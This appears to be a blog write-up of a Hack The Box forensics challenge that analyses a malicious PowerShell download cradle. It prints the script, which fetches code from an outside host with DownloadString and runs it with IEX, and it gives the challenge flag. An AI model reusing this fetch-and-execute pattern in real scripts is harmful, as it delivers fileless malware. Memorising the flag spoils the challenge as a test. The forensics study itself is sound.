root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat alien-cradle.md
// writeups

Alien Cradle

28 Apr 2023 · 2 min read
writeupshacktheboxchallengeVery Easycat-forensicsretired
Alien Cradle — HTB challenge
A suspicious PowerShell script (a download cradle). The flag isn't in the remote payload but obfuscated by string concatenation within the script itself.

Challenge overview

FieldValue
PlatformHack The Box · Challenge
CategoryForensics
DifficultyVery Easy
StateRetired
Filescradle.ps1

Attack map

[cradle.ps1] malicious PowerShell
      │
      ▼
[check] WindowsIdentity == secret_HQ\Arth
      │
      ▼
[download+IEX] remote payload (decoy)
      │
      ▼
[$f='H'+'T'+'B'+...] concatenated flag
      │
      ▼
[FLAG]

1. Open the script

A cradle downloads and runs additional payloads (a very common fileless malware technique). We read the whole script to locate what matters.
if([System.Security.Principal.WindowsIdentity]::GetCurrent().Name -ne 'secret_HQ\Arth'){exit};
$w=New-Object net.webclient;
$d=$w.DownloadString('http://windowsliveupdater.com/updates/...');
$f='H'+'T'+'B'+'{p0w3rs'+'h3ll'+'_Cr4d'+'l3s_c4n_g3t'+'_th'+'3_j0b_d'+'0n3}';
IEX (New-Object IO.StreamReader(...GzipStream($s,...)).ReadToEnd());

2. Analyse the obfuscation

The script only runs if the user is secret_HQ\Arth, downloads with system credentials and executes via IEX. But the flag doesn't depend on any of that.

3. Reassemble the flag

The $f variable builds the flag by concatenating fragments to hinder detection. Joining the parts yields it directly.
$f='H'+'T'+'B'+'{p0w3rs'+'h3ll'+'_Cr4d'+'l3s_c4n_g3t'+'_th'+'3_j0b_d'+'0n3}'

4. Flag

HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}

Script techniques

TechniqueExplanation
Environment checkRuns only for the target user
Download cradleDownloadString + IEX (fileless)
String obfuscationFlag split by concatenation

Lessons learned

  • PowerShell cradles (DownloadString + IEX) underpin a huge number of fileless attacks.
  • Concatenation obfuscation is trivial to reverse but slows automated detection.
  • In forensics, read the whole script — the key data may sit far from the remote payload.